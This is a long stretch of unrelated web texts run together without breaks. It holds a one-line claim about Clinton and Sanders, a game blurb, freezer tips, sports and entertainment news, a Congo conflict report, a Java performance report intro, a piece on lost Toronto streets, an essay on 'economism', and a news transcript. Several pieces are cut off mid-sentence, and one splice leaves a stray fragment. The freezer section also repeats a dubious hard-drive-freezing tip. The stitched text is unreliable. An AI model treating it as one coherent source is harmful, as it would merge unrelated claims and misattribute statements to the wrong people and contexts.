Clinton implied Sanders is being derelict in his duties as a Jew and betraying his own people by criticizing Israel and its crimes.Overview I Have No Mouth, and I Must Scream is a point-and-click adventure game, based on a short story by Harlan Ellison.
Nightwind
rates this game: 5/5
I Have No Mouth, and I Must Scream is an award-winning psychological horror point-and-click adventure game based upon Harlan Ellison's short story of the same name. Co-designed by Ellison and published by Cyberdreams in 1995, the game was a work of interactive fiction with psychological and ethical themes. The game's story is a set in the world where an evil computer named AM that has destroyed all of humanity except for five people, who he has been keeping alive and torturing for the past 109 years. Each survivor has a fatal flaw in its character, and in an attempt to crush their spirits, AM has constructed a metaphorical adventure for each that preys upon their weaknesses. To succeed in the game, the player must make choices to prove that humans are better than machines, because they have the ability to redeem themselves. Woven into the fabric of the story are ethical dilemmas dealing with issues such as insanity, rape, paranoia and genocide.wordswordswordswords, I know. It’s intentional.
In one of the Horus Heresy books, a transport is hurtling uncontrollably towards the surface of a planet. The techpriests on board go OOP, better conduct the long-winded rites of reactivation on these pilot servitors as we plummet to our doom! Have fun desperately assuaging that void dragon machine spirit.
Gonna be adding the bio Bronne wrote for me after I post this, he drew up some dynamite things after going on a 2-day quest to find somebody with a damn pencil on spring break. Also trying to pin down an update schedule, it’s probably going to be one of these more detailed ones posted every Monday and one sketch/cartoony one every Thursday.
LEGALITY TIME:
Techpriest, omnissiah, Horus Heresy, Void Dragon, and maybe mechadendrites copyright of Games Workshop.It's that time of year again, when our freezers are filled with the summer's bounty in preparation for the long winter months ahead. Get the most out of your freezer, and learn a few of its other uses, with these great tricks.
Photo by: Stevedepolo
Freezers are hard working appliances that can do more than just keep your bagged veggies chilled. Try on one of these 10 ideas below and see if you can make it pull double duty, or at least keep it running a little more efficiently:
Can I freeze that? A Guide to Freezer Do's and Don'ts
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More often than not things can be saved from expiration date, mold or for a later use, by freezing them. But how do you know what can be frozen and how long it keeps? The National Center for Home Food Preservation has done the dirty work for you and made a list! (Original Post) Photo by gregoryjameswalsh
Unstick Plastic Wrap in the Freezer
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Plastic Wrap loses it's static cling when placed in the freezer. It will attach to any bowl or plate that needs covering, but eliminates it sticking back on itself. (Original Post) Photo by Mike Wade
Freeze Ground Meat in Small Portions with a Chopstick
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The extra 10 minutes it takes to thaw ground meat in the microwave is time you could have spent doing something else. Eliminate it by pressing a chopstick into the meat on the outside of a zip top bag. It will allow you to break off as much as you need without thawing the entire amount. (Original Post)
Preserve Surplus Summer Herbs for Winter Use
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Fresh herbs bought from your local grocer can cost more than buying an entire plant. Try chopping and covering them with water, stock or oil before freezing. They'll be ready for any dish, all winter long. (Original Post) Photo by suavehouse113
Make Your Freezer More Efficient
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Freezing used plastic bottles or jugs (milk and orange juice work great) full of water will help keep your freezer at a level temperature and use less energy to maintain it. (Original Post) Photo by Sarah Rae Trover
Save Your Hard Drive in the Freezer
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A hard drive that is left in the freezer for 24 hours and then quickly inserted back into your machine can make a recovery. Or at least long enough to back things up before it says adios forever. (Original Post)
Tame Freezer Burn to Keep Food Tasty
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Freezer burn can get the best of everything in your freezer. To make sure it doesn't happen as frequently, try keeping your freezer at a more steady temperature and keeping out as much air as possible. (Original Post)
Make Freezer Jam as an Easy Alternative to Canning
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Freezer Jam is an easy way to use up remaindered fruits and doesn't even require a waterbath or any other canning know-how. Just a little pectin. (Original Post) Photo by Jennie Faber
Make Freezer Jam as an Easy Alternative to Canning Getting started with canning isn't as hard as you might think, but boiling jars in a stove… Read more Read
Convert a Chest Freezer into a Super-Efficient Refrigerator
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Chest freezers use 1/10th of the energy that an upright refrigerator does. With the addition of a thermostat, a chest freezer can end up being the ideal place to keep things cool, without freezing them. (Original Post)
Frost-Proof Meat with "Drugstore Wrap"
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Zip top bags and Seal-a-Meal systems can be time consuming and inefficient. Try kicking it old school and wrap your meats in freezer paper for a frost free freezer experience. (Original Post) Photo by Rio Designs
How do you put your freezer to good use—apart from the obvious? Have something to add to the list above? Sound off in the comments.The Tennessee Titans finished the 2016 season at 9-7, their first winning record since 2011. Much of their success can be attributed to the emergence of second-year quarterback Marcus Mariota, who finished the season with 26 touchdowns and just nine interceptions in 15 games before suffering a fractured fibula in Week 16.
Given the stellar play of Mariota this past season, coupled with the tough injury, the Titans are taking a cautious approach with their franchise quarterback, opting to go slow in bringing him back.
Coach Mike Mularkey spoke on WGFX-FM in Nashville on Wednesday, saying the team is being “very cautious” with Mariota and will likely hold him out of workouts until training camp, per ESPN’s Paul Kuharsky.
It’s the smart move by the Titans. Mariota has proved that he can play in this league, and the progress he made between year one and year two gives the team every indication that he will take another giant leap forward in 2017. There’s no need in rushing him back now that he’s mastered Mularkey’s system.
The Titans went 6-2 against winning teams this season, showing they are headed in the right direction. With a healthy and rested Mariota coming back, the AFC South could belong to Tennessee next year.It’s depressing to see that it’s not just the guitar-oriented end of the musical spectrum that’s a complete sausage fest at times. Last week, DJ Mag published its annual reader-voted Top 100 DJ list, the results of which were entirely predictable for two reasons: a) the top spots were dominated by dire low countries trance and Eurohouse DJs and b) there were no women featured. At all. Not one. We’re not the only ones to have noted this — Peaches, bless her, took to her Facebook page to proclaim “DJ Mag! Your Top 100 DJ boy club list can eat a dick! Where the ladies at???”
In fairness, the fact that there’s no women is far from the only thing wrong with the whole thing — the fact that the godawful David Guetta is #1 gives an indication of what we’re dealing with, as does the absence of the likes of Lindstrøm, Ricardo Villalobos, etc. — but anyway, despite the fact that not being on such a weak list is probably a perverse mark of pride, we thought we’d take the opportunity to laud the work of some female DJs who we reckon are right up there with the best. (And by the way, before anyone gets all pissy about the difference between DJs and producers, we’ve included live footage where we could find it, and productions where we couldn’t.)The speculation will go on for another 12 months. With the option to leave Cleveland next summer, what NBA jersey will LeBron James be wearing in a year’s time?
It is debated at the Quickens Loan Arena, in newspapers, in bars across the country, and on The Bill Simmons Podcast. Simmons was joined by Golden State star Kevin Durant to discuss the future of the Cavaliers man, and they have different opinions.
Both men believed in their prediction so much so that a wager was placed on the outcome: The loser would buy the other man a Fat Sal’s combo meal. So, what were the predictions?
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Durant expects little change. “I personally always said he was staying,” the Warriors forward said. “I told him this. That’s me. I feel like he’s going to end it in Cleveland. That’s his crib now. He run it and he gonna turn it into something mega when he’s done. He’s going to do something.”
But Simmons sees James heading west. “I’m betting L.A.,” he said. “I think the Lakers thing makes a lot of sense.”
Related: The Trade Cavaliers Must Make to Hold Onto LeBron James Next Summer
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The turbulent offseason in Cleveland has been one signal that James may head for the exit when he has the opportunity next summer. David Griffin, the former General Manager of the Cavs, was popular with James but was fired by owner Dan Gilbert.
There has been change in the roster as well. James was disappointed to see Kyrie Irving make a trade request, and is yet to comment on the incoming Isaiah Thomas, who is coming the other way from the Celtics as part of the trade.
Simmons’ prediction that James will end up with the Lakers is partly backed up by the fact the 32-year-old has a home in Los Angeles, where he has spent much of the summer.
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But the two men will have to wait until next summer to find out what James will do next, and, more importantly, who wins the Fat Sal’s combo.
James and Durant More
Jason Miller/Getty
More from NewsweekA few months ago, we wrote about perplexed reaction in Nigeria to an October issue cover of digital magazine House of Maliq. A chicken was involved.
Now, the same script has begun to play out with a new critter. That’s model and fashion designer Tania Omotayo above, on one of the magazine’s just-released January 2017 issue covers. Website pulse.ng can’t fathom why the editors chose to frame her this way:
Why in the world is a cockroach on her body? What kind of concept is this? Who thought this would make sense? Wasn’t there any old person in the room that told them this wouldn’t make sense?
Ha ha. Yes, perhaps a Nigerian equivalent to General Larry Platt could have talked some sense into that editorial meeting. On the other hand, a clue here may be the cover line at the very top-right: ‘Wizkid: Why He’s So Famous.’
You see, until a few months ago, Omotayo and the famous Nigerian musical artist were an item. Perhaps the cockroach is meant to symbolize in some way her ex-boyfriend and the distorting power of fame, money?
The sub-headline for the Pulse.ng takedown reads: ‘House of Maliq magazine is on a constant mission to annoy Nigerians.’ At the very end of the article, senior associate Ayomide O. Tayo suggests that covers like this may be calculated attempts to generate Instagram reaction. Check out some of the responses to the Omotayo cover image here.
Previously on FishbowlNY:
The Beyoncé-Chicken Photo Came FirstTo get to the Lakers’ practice courts at the Toyota Sports Center in El Segundo, you have to pass through a small anteroom. That was hard to do Wednesday morning. It was clogged with a knot of local and national media. There were so many journalists at the facility that they spilled down the hallway toward the entrance. The fire marshal would not have been pleased.
It was hard to estimate how many reporters were in attendance. My ballpark figure puts it at more than 50, less than 80. There was a brief debate among our number about whether the media mass was closer to a "plethora" or a "crap ton." Either way, the general consensus was that it was the biggest turnout for a Lakers predraft workout in a long while — bigger than those for Brandon Ingram, D’Angelo Russell, or Jahlil Okafor. It was certainly the most dramatic workout I’ve witnessed since Sixers security chased reporters off their lawn and across the street when they secreted Andrew Wiggins into Philly a few years ago.
As I was surveying the crowd, I heard a voice down the hallway marvel at the scene. "Man," he said, "all y’all here to see Lonzo?" It was Lamar Odom. He was clad in Lakers workout gear. He looked good. On any other day, that might have been the story. But Wednesday, Odom was just like everyone else — trying to get a glimpse of Lonzo Ball and maybe talk to him for a while.
Who could blame him? This event was a long time in the making. After the world’s longest social media flirtation, the Lakers and Lonzo finally canoodled IRL. Even better: The media got to sit at their table and ask whether the date was living up to both sides’ profile promises. The courtship officially began Tuesday evening when some of the Lakers hierarchy took Lonzo to Scopa in Venice. (The doughnuts are to die for.) This being L.A., it didn’t take long for creepy amateur paparazzi pictures to surface. Magic Johnson was at the dinner. So were Rob Pelinka and Luke Walton. LaVar Ball did not attend, though Walton told Jim Rome he wouldn’t have objected to breaking bread with Papa Ball. (Maybe Lonzo brought him back some donuts.) LaVar also wasn’t at Wednesday’s closed workout. That was either the best or worst possible development, depending on your opinion of LaVar and the Ball brand saturation.
When the door to the practice facility finally opened and everyone crushed in around Lonzo for the scrum, he was typically economical with his words. That’s at least one spot where the apple apparently fell a little far from the promotional tree. The whole thing lasted seven minutes, 47 seconds before the team pulled the plug and bundled him off to lunch with Jeanie, Joey, and Jesse Buss. (The Lakers brass did not address the media.) Ball — who, notably, wore James Harden’s signature shoes and not his own for the workout — offered lots of clipped answers, from what he thought of the drills (he tried to stay focused), to what kind of shooting they put him through (typical stuff), to what it was like to meet Magic and the Lakers decision-makers for the first time (it was a lot of fun), to whether this is the place he wants to play (of course, he wants to stay home). He said nice things about Magic and called him the best point guard ever. Twice. And naturally he addressed whether dear ol’ dad will be "a huge distraction" in Los Angeles if he plays here.
"People said that about me in high school. People said that about me in college," Lonzo replied. "I don’t think it affected me." He didn’t bother shrugging. He conceded that all the attention around him might make him a target for fans, but he said he’s used to it by now. Maybe, but there’s a difference between being used to the attention when you’re in college and acclimating to it when you’re a member of the Lakers — or even Lakers adjacent.
That brings us to the best part of the interview, which might also serve as a point of instruction for Ball — or, failing that, a preview of what’s to come for him and the rest of us. Unprompted, Ball offered that the Lakers "have a lot of good players," but he just thinks "they need a leader at point guard. I feel I can bring that to the team." Maybe Ball forgot that the Lakers drafted D’Angelo Russell two years ago — but Lakers fans didn’t. When NBC L.A. Lakers reporter Shahan Ahmed tweeted the quote, his mentions got awfully fun, awfully fast. Some people even made sure to add @Dloading to the conversation for good measure. (This reply was my favorite.)
Ball might have gotten away with the remarks if he hadn’t reiterated them a few moments later. Asked why the Lakers should draft him, he repeated himself: "They need a leader. They need a point guard." More than one media member raised an eyebrow. I was one of them. Maybe he didn’t mean it as a shot at his might-be teammate, but Lonzo has been a Ball for long enough to know that what he meant and how people interpret or discuss what he said are often very different things. The only certainty when it comes to conversations about the Balls is that there will definitely be one, and it will be loud, many people will join it, and the discussion will be never-ending.
When you think about it, that’s part of the point here — and perhaps a large part of the appeal. They’re the Lakers, and they want to win. It’s possible Lonzo Ball will help them do |
u," he said, referring to the capital of the next province to the south.
Families flee fighting between the Congolese army and M23 rebels last summer. (James Akena/Reuters )
The M23 rebel group is made up of soldiers from a now-defunct rebel army, the National Congress for the Defence of the People, or CNDP, a group made-up primarily of fighters from the Tutsi ethnic group, the ethnicity that was targeted in Rwanda's 1994 genocide.
In 2008, the CNDP led by Rwandan commando Gen. Laurent Nkunda marched his soldiers to the doorstep of Goma, abruptly stopping just before taking the city.
In the negotiations that followed and which culminated in a March 23, 2009 peace deal, the CNDP agreed to disband and their fighters joined the national army of Congo.
They did not pick up their arms again until this spring, when hundreds of ex-CNDP fighters defected from the army in April, claiming that the Congolese government had failed to uphold their end of the 2009 agreement.
Reports, including one by the United Nations Group of Experts, have shown that M23 is actively being backed by Rwanda and the new rebellion is likely linked to the fight to control Congo's rich mineral wealth.
The latest fighting broke out Thursday and led to the deaths of 151 rebels and two soldiers. On Saturday UN attack helicopters targeted M23 positions in eastern Congo.
Also on Saturday, UN Secretary-General Ban Ki-Moon had called Rwandan President Paul Kagame "to request that he use his influence on the M23 to help calm the situation and restrain M23 from continuing their attack," according to peacekeeping chief Herve Ladsous who spoke at the UN headquarters in New York on Saturday.
'We won't let M23 march into our town'
North Kivu governor Julien Paluku said Saturday that the Congolese army had earlier retreated from Kibumba, which is 30 kilometres north of Goma, after thousands of Rwandans, who he says were backing the rebels, attacked early Saturday.
"Rwandan forces bombarded our positions in Kibumba since early this morning and an estimated 3,500 crossed the border to attack us," he said Saturday.
In downtown Goma, panicked residents had come out to try to get more information on what was happening. A 45-year-old mother of five said that she has nowhere to go.
"I don't really know what is happening, I've seen soldiers and tanks in the streets and that scares me," said Imaculee Kahindo.
Asked if she planned to leave the city, she said: "What can we do? I will probably hide in my house with my children."
Hamuli, the spokesman for the Congolese army, denied reports that soldiers were fleeing.
In 2008 as Nkunda's CNDP rebels amassed at the gates of Goma, reporters inside the city were able to see Congolese soldiers running in the opposite direction, after having abandoned their posts. The Congolese army is notoriously dysfunctional with soldiers paid only small amounts, making it difficult to secure their loyalties during heavy fighting.
"We won't let the M23 march into our town," said Hamuli. Asked if his troops were fleeing, he added: "These are false rumours. We are not going anywhere."
UN peacekeeping chief Ladsous said that the rebels were very well-equipped, including with night vision equipment allowing them to fight at night.
Reports by United Nations experts have accused Rwanda, as well as Uganda, of supporting the rebels. Both countries strongly deny any involvement and Uganda said if the charges continue it will pull its peacekeeping troops out of Somalia, where they are playing an important role in pushing out the Islamist extremist rebels.
The UN Security Council called for an immediate stop to the violence following a two-hour, closed-door emergency meeting.
"We must stop the M23" because Goma's fall "would, inevitably, turn into a humanitarian crisis," said France's UN Ambassador, Gerard Araud.Performance is 99% about understanding the problems
That is why you need to perfectly understand your application, its needs and abilities, and feel comfortable using a range of performance related tools: APMs, profilers, testing libraries that will help you solve the issues you have.
When trying to pin down the top factors impacting application performance, the right answer is that there is no right answer… the source of a performance problem could be almost anywhere! – Julie Craig, Research Director, Application Management, Enterprise Management Associates (EMA)
An Introduction to Performance
Java Performance tools are all very different and have typically been created for different reasons and to achieve different goals. Which Java Performance tools are you going to use in your next project and why would you choose one over the other? There are many aspects which may sway your decision and of course it will depend on the type of application you’re building. This report will cover Java Performance Considerations, Java Monitoring Tools, Java Profilers, and Performance Testing Tools. We will also demonstrate a few of our favorite Java Performance tools on a reference application to help you get the answers you seek.
If you are not actively looking for answers to your performance issues yet, consider this simple fact: performance affects your bottom line. The performance of your system often directly translates into its utility for the end user. Keeping your end users happy can have a major effect on your bottom line. For instance, you may lose business if your e-commerce site cannot handle the Black Friday loads, or if your business is high performance trading, a delay of a couple of milliseconds could be the difference between covering your body in gold leaf or simply just leaves.
Google exposed the fundamental importance of performance to end users when they revealed that people engage with web-pages more when they load faster. More engagement means more conversions and returning customers. And despite the fact that you can always compete with others on better service, prices or whatever else you have to offer, not tapping into the additional benefits that a faster system can offer is just not very smart.
Obviously, if you’re a developer at a legacy software shop, you might not bother yourself with such matters. You are proud of the work that you do and the quality of the code you produce. Your end users are effectively the operations team who have a very particular set of skills that sometimes make them a nightmare for developers such as yourself. Your code’s performance can make the difference between them creating a developer shrine for you, the ideal developer, or just printing out your profile picture to be used as dartboard fodder.
WHAT IS PERFORMANCE?
It might seem like an unusual question in a report about performance as most people tend to already have a good idea about what the term ‘performance’ means. However, it’s common that different people will have a different perspective in the way they might describe it. For instance, some may say being performant is doing the same task with fewer resources. This might be by design, by choosing a more lightweight stack rather than just increasing system hardware. Others may approach the topic differently, by trying to eliminate bottlenecks, i.e. the part of the system which is performing least well. Others might say increasing performance is to eliminate unnecessary actions. The truth is, well, all of these are performance related actions. Ultimately being performant is about increasing user response times and reducing latency in all parts of your system and as a whole, while being functionally accurate and consistent to your end user. Now the question is… how?
In this report, we will not take sides or focus on the scalability of the system or try to make it run as fast as a caffeinated cheetah on a single-core machine. Instead, we’ll look at the different tools and techniques that allow you to understand the balance between the resources your system has and how it utilizes them: where does your system perform most of the work and where should you look first if you need to tweak the balance.
In the next chapter we’ll look at a list of resources you have to take into account when talking about performance and define the functional requirements of their utilization.
This is a great place to mention low-level code performance and benchmarking. For instance, is x++ faster than x=x+1? How much slower is an ArrayList at appending millions of items compared to a LinkedList? This is a very code-centric approach and while it has a place in the software engineering eco-system and is a very fascinating area of developer growth, we will not focus on the benchmarking tools or ways to solve low-level code performance questions in this report. Sorry fans of tail-call-optimizations and on-stack-replacements, we’ll cover it another time. Today we’re focusing on the high-level overview of system performance and establishing the right balance between the resources and requirements. – Oleg Šelajev, Head of RebelLabs, Content Warlock at ZeroTurnaround
DOWNLOAD THE PDFIt's not just buildings that get demolished in Toronto. Sometimes entire streets go the way of the wrecker, too. During the days of mega block construction projects like New City Hall, the Eaton Centre, TD Centre, and First Canadian Place in the 1960s and 1970s, numerous streets were entirely swept away, most of them in the downtown core or in heavily industrial areas.
In some cases, small fragments survived. Louisa Street (pictured above,) which was once a principal east-west street through The Ward, now only remains in a heavily truncated form behind Old City Hall. In most other examples, streets squashed by mega construction projects vanished entirely.
Here are five Toronto streets that didn't make it to 2015.
Louisa Street
Thanks to a pair of mega projects in the 1960s and 1970s, one of the principal streets of the city's historic Ward neighbourhood is no more. First, construction of New City Hall erased the western portion between Chestnut and Bay, then, a few years later, the Eaton Centre erased what was left between Bay and Yonge.
Albert Street
Located a block south of Louisa Street, Albert Street was likewise diced up by City Hall and the Eaton Centre. Unlike its neighbour, however, one piece still remains behind Old City Hall between Bay and James streets. In its heyday, Albert ran between Chestnut and Yonge and was lined with houses.
Tate Street
Located what is now the West Don Lands, Tate Street ran roughly two blocks east from an intersection with Cherry Street, just north of present day Mill Street. Two other now-defunct streets intersected with Tate--Water and Overend--before it ended at the entrance to a meat packing plant. Tate, Water, and Overend all vanished after being overtaken by the Canadian National Railway sidings.
Boulton Street
In 1880, a little under a century before its demise, Boulton Street (not to be confused with Boulton Avenue) was home to the Lyceum Theatre, a hotel, various metal foundries, and a stone cutting yard. It ran for about 150 metres east from York between Adelaide and King to a dead end just before Yonge until the 1970s, when construction of First Canadian Place erased it entirely.
Francis and Commercial streets
For more than a 100 years, anyone looking out the front door of St. Lawrence Hall at King and Jarvis would have seen the entrance to Francis St. About halfway along its length, Commercial Street intersected it east to west. Both were lined with buildings and were prominent parts of the local street grid until the 1970s, when the road was taken up and the buildings demolished to create St. James Park.
Chris Bateman is a staff writer at blogTO. Follow him on Twitter at @chrisbateman.
Lead image shows Elizabth and Louisa streets. Maps: 1880 Goad's Fire Insurance Plan of the City of Toronto, Toronto Public Library.By James Kwak
Supply and demand curves were introduced to the world by the French mathematician Antoine-Augustin Cournot in 1838. These now-ubiquitous analytical tools show how many units of a product are demanded and supplied at any given price—and how prices automatically adjust so that supply exactly equals demand. This core insight dated back to at least to Adam Smith, who explained in his 1776 book The Wealth of Nations that market prices are determined by the individual, self-interested decisions of buyers and sellers.
By the late 19th century, supply and demand curves became a dominant feature of economics education, thanks in large part to a textbook, Principles of Economics, by the British economist Alfred Marshall. Marshall showed how buyers and sellers, acting in their own interests, converge on an equilibrium price that maximizes social welfare, defined narrowly as the difference between the value consumers place on goods and the total cost of producing those goods. This principle—that free markets generate the greatest possible economic well-being for society—is familiar to any student of introductory economics today.
Marshall, however, rejected the idea that we should simply let markets work their magic and accept whatever outcomes they produce. Instead, because people differ in wealth, he argued that “aggregate satisfaction can prima facie be increased by the distribution... of some of the property of the rich among the poor.”
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That view was echoed in the 1948 first edition of the textbook that would dominate the market for the next three decades. In Economics, Paul Samuelson wrote, “John D. Rockefeller’s dog may receive the milk that a poor child needs to avoid rickets. Why? Because supply and demand are working badly? No. Because they are doing what they are designed to do, putting goods in the hands of those who can pay the most.” For Samuelson, the competitive market model of Economics 101 was simply a useful analytical tool.
For his contemporaries Friedrich Hayek and Milton Friedman, however, it was something more: the heavy artillery in an ideological battle against the New Deal. Beginning in the 1940s, Hayek and especially Friedman built a comprehensive theory of society on the foundation of competitive markets. In his 1962 book Capitalism and Freedom, Friedman explained how virtually any social or political issue could be analyzed in terms of supply and demand—and concluded in each case that government should get out of the way and let free markets produce the best of all possible worlds.
Both Hayek and Friedman saw themselves as participants in a battle of ideas against encroaching socialism. In their hands, an analytical framework became a universal worldview: Economics 101 became economism. Economism is the belief that basic economics lessons can explain all social phenomena—that people, companies, and markets behave according to the abstract, two-dimensional illustrations of an Economics 101 textbook. Ideally, students should learn that the competitive market model is just that—a model, which by definition abstracts from the real world. According to the rhetoric of economics, however, the lessons of Economics 101 can be transplanted directly into the real world. The central idea that free markets maximize social welfare becomes a universal framework for understanding and answering any policy question.
* * * *
Economism may not accurately describe reality, but its reduction of complex phenomena to simple concepts was a major asset in the battle of ideas. The political landscape of the United States after World War II was dominated by the shadow of the New Deal and the idea that the government could and should pay a major role in managing the economy. Businesses that opposed intrusive regulations and wealthy individuals who feared higher taxes needed an intellectual counterweight to the New Deal, a conceptual framework that explained why an activist government was bad not just for their profits and their pocketbooks, but for society as a whole. Economism filled that need.
The rhetoric of economism was taken up first by think tanks such as the Foundation for Economic Education and the American Enterprise Institute, then by the National Review of William F. Buckley, who helped make free-market economics part of the conservative synthesis. From Barry Goldwater to Ronald Reagan, the conviction that all economic problems could be boiled down to first principles and solved by the magic of competitive markets became a central tenet of conservative ideology. In the memorable words of former House majority leader Dick Armey, “The market is rational and the government is dumb.”
As the mantra of free markets, small government, and lower taxes became more popular with voters, Democrats adapted by also paying homage to competitive markets. It was Bill Clinton who said, “The era of big government is over.” And Barack Obama’s signature health care reform program is centered on the idea of using (regulated) market competition to expand access to health insurance.
Economism presents itself as an abstract, value-neutral representation of the world—one that invokes the prestige of economics, a discipline that many people find intimidating. “It’s just Economics 101,” one often hears. The role that it plays in contemporary society, however, is deeply ideological. Economism naturalizes one possible state of affairs—in which individuals and companies are left to compete in unregulated markets—and, like Doctor Pangloss in Voltaire’s Candide, celebrates the outcomes that result as the best of all possible worlds.
But in reality, things do not always turn out so well. In practice, economism often has the effect of increasing inequality, or at least justifying it in today’s new Gilded Age. Consider the minimum wage. The United States has the lowest minimum wage, as a proportion of average wages, of any advanced economy—one reason for our wide gap between rich and poor. But according to economism, raising the minimum wage would only backfire and harm poor people. On a simple supply-and-demand diagram, a minimum wage is a price floor in the labor market; like any price floor, it must cause supply to exceed demand. Therefore, raising the minimum wage must increase unemployment, and anyone who disagrees simply doesn’t understand Economics 101.
In real life, however, employment levels are the result of many factors—some businesses can pass cost increases on to customers, better-paid workers are less likely to quit, and so on. Real economists study these relationships in detail, and a significant body of recent research indicates that modestly higher minimum wages have no discernible effect on unemployment.
Despite this empirical evidence, the public relations campaign against a higher minimum wage remains clothed in the rhetoric of economism. What goes unsaid is the campaign is, in significant measure, funded by industries that benefit from low wages for unskilled labor. This is but one example of how economism provides a seemingly neutral perspective on the world that can be deployed in the service of business interests and the wealthy.
* * * *
Economism is the reduction of social reality not just to Economics 101, but to just one Economics 101 lesson: the model of a competitive market driven by supply and demand.
Paul Samuelson bemoaned the fact that a single idea—that free competition is always good and government intervention is always bad—is often “all that some of our leading citizens remember, 30 years later, of their college course in economics.” Writing in the late 1940s, Samuelson’s first concern was preventing another Great Depression and the geopolitical turmoil that followed. In his textbook, which dominated introductory courses during the decades following World War II, the theory of supply, demand, and prices did not appear until Chapter 19, more than 400 pages in.
Contemporary textbooks, however, have moved away from Samuelson’s example. Whether by the slightly right-leaning Gregory Mankiw or the slightly left-leaning William Baumol and Alan Blinder, they now lead with rational individuals pursuing their self-interest in competitive markets, guided by Adam Smith’s invisible hand to maximize their collective prosperity. While economics professors know that the world is much more complicated than an introductory textbook, many college students are still inculcated with the simplistic dogma of competitive markets. According to a recent survey of undergraduate programs around the world by students at the University of Manchester, “Economics degrees are highly mathematical, adopt a single narrow perspective and put little emphasis on historical context, critical thinking or real-world applications.” This limited focus is even more true of business programs—the most popular undergraduate concentration in the United States —whose students often take little more economics than a required introductory course.
Economists already know the cure for Economics 101: better economics. Many advanced courses deal precisely with the differences between the real world and the introductory models taught in the first year. No doubt many teachers are able to give even casual students a healthy skepticism regarding the ideology of free markets. People who are familiar with the irrational behavior of human beings, the importance of institutions, the techniques for analyzing real-world data, and the vicissitudes of economic history will understand both the utility and the shortcomings of the competitive market model.
The pedagogical problem is that the typical introductory course does not allow enough time for anything more than a cursory introduction to these vitally important subjects. Professors can and do emphasize the limits of models, but even then a course centered around supply and demand curves will often produce the students that Samuelson lamented, who remembered only that competition is good and government is bad.
If we were to redesign Economics 101, what would it look like? One possibility is to begin not with abstract models, but with the real world. How do companies use technology to produce goods, and how are those companies organized? How are products and services distributed, and how do manufacturers, intermediaries, and retailers set prices? How are wages determined—not in the theoretical model, but in real life? What factors determine the set of opportunities available to different people in different parts of the planet?
The economist Partha Dasgupta, for example, begins his “very short introduction” to economics by describing the different material and economic conditions of two families, one in the suburban United States and one in rural Ethiopia. Students who begin with a grounding in the way the world actually works will be better equipped to understand the limitations of abstract models when they do learn them.
Alternatively, we could begin with real human beings. An introductory course in behavioral economics would reveal that we all make decisions irrationally, at least compared to the utility-maximizing entities who populate the typical textbook. The same is true of organizations, which are populated by fallible human beings who often have their own interests at heart. Understanding the importance of habit, convention, prejudice, and other factors will enable students to resist the allure of models that assume superhuman actors and perfectly efficient firms.
Or, perhaps, we could do away with the idea of Economics 101 altogether. I studied history and I teach law, neither of which has a single “101” class. There could be one introductory class called “Economic Institutions Around the World,” another called “Decision Making by Individuals and Organizations,” a third called “Economic Development Through History,” and a fourth called “Abstract Economic Modeling” (what is now “Economics 101”). Economics majors could take them in any order they wanted, and non-majors could take only those that interested them. People who take only one economics class would not necessarily be indoctrinated in the myth of the invisible hand; students who are serious about the field would learn everything they need to learn, but with the context necessary to understand the uses and limits of simple models.
Such a program would also be more true to the extraordinary richness of contemporary economic thinking, encouraging a more diverse range of students to enter the field. The premise of economism is that “economics” says only one thing: that unregulated competitive markets produce the best outcomes for all people. One antidote is for people to understand that economics is a fascinating discipline that provides many answers to many different kinds of questions—and to seek out those answers for themselves.
James Kwak is a professor at the University of Connecticut School of Law. Portions of this essay are adapted from his new book, Economism: Bad Economics and the Rise of Inequality (Pantheon).
2017 April 21Hide Transcript Show Transcript
WEBVTT ♪ PATTY: THIS DANCING MOORE HIGH SCHOOL DUO-IS DOING SOMETHING NO ONE ELSE HAS DONE. >> I DECIDED TO ASK AARON TO BE MY LION KING BECAUSE HE HADN'T BEEN GIVEN THE OPPORTUNITY FOR THE LAST TWO YEARS HE'S WANTED TO DO IT AND NO ONE HAS ASKED HIM. PATTY: SENIOR MADILYNN CHEERLEADER-PICKED HER NEW GRIMES, CHEERLEADER, MCCADDEN TO FRIEND, AARON BE HER PARTNER IN A BIG SCHOOL PAGEANT. >> I WAS SHOCKED AT FIRST, BUT NOW I'M STARTING TO GET USED TO IT. PATTY: THE PAGEANT IS ABOUT SPIRIT AND TALENT, IT USUALLY INVOLVES THE POPULAR ATHLETES. >> I'M HOPING TO DO GOOD TONIGHT. PATTY: MCCADDEN IS AUTISTIC AND HAS CEREBRAL PALSY-BUT TONIGHT, HE IS LEAVING IT ALL ON THE DANCE FLOOR. >> I'VE BEEN PRACTICING REALLY HARD FOR THE PAST WEEK OR SO. PATTY: IS CHEERLEADER WILL NOT LET HIS GIVE UP. ARE YOU OPTIMISTIC YOU WILL WIN PRIZES TONIGHT? >> I'M NOT VERY OPTIMISTIC, NO. [LAUGHTER] >> I AM. I'M OPTIMISTIC. I THINK HE'S GOING TO DO GREAT. [LAUGHTER] PATTY: THEIR PARENTS ARE PUMPED TO SEE KINDNESS TAKE THE SPOTLIGHT. >> NOT MANY CHILDREN WITH SPECIAL NEEDS GET THOSE EXTRA OPPORTUNITIES TO STEP OUT AND SHINE. PATTY: AND JUST MAYBE THEIR MOVE WILL INSPIRE OTHERS TO STEP OUT.
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A Moore High School dancing duo is stepping up to do something that hasn’t been done in nearly 20 years. Senior Madilynn Grimes asked junior Aaron McCadden to be her Lion King in the upcoming school pageant. The pageant is an annual fundraiser for the cheer-pom team. “A Lion King. I think they embody how Moore High School is as a whole,” she said. “They’re the one person that shows how much spirit we have, and how fun we can be.” The pageant usually involves the popular or athletic male students doing a dance and showing off their talents by teaming up with a cheerleader. McCadden is a manager for the football and basketball team. He’s autistic and has cerebral palsy. He’s excited about being asked. “I was shocked at first, but now I’m starting to get used to it,” he said. “I decided to ask Aaron to be my Lion King because he hadn’t been given the opportunity,” said Grimes, a member of the pom squad. "For the last two years, he’s wanted to do it, and no one has asked him.” Grimes says in the 17 years of the pageant, no other special-needs student has been invited to be part of it. They’ve been practicing for weeks, and Grimes is cheering on her partner who’s just happy to be part of the pageant and doesn’t think he’ll win. “I’m optimistic. I think he’s going to do great,” she said. His mother, Cheryl McCadden, was in tears explaining how this opportunity is helping her son become more independent and not let his disability stop him from having a normal high school experience. “Not many kids with special needs get the opportunity to step out and shine,” she said. On Thursday night, the dancing duo will show off their moves and hopes others take a cue from their steps. “We both know Moore is an awesome school in the US, and I hope other schools in the country will learn from it,” Aaron McCadden said as he high-fived Grimes. Aaron McCadden and Grimes were crowned the winners of the Lion King Pageant.WASILLA — A Mat-Su School Board and state parole board member who shot a man near his Wasilla-area property as he tried to escape arrest in March will not face charges.
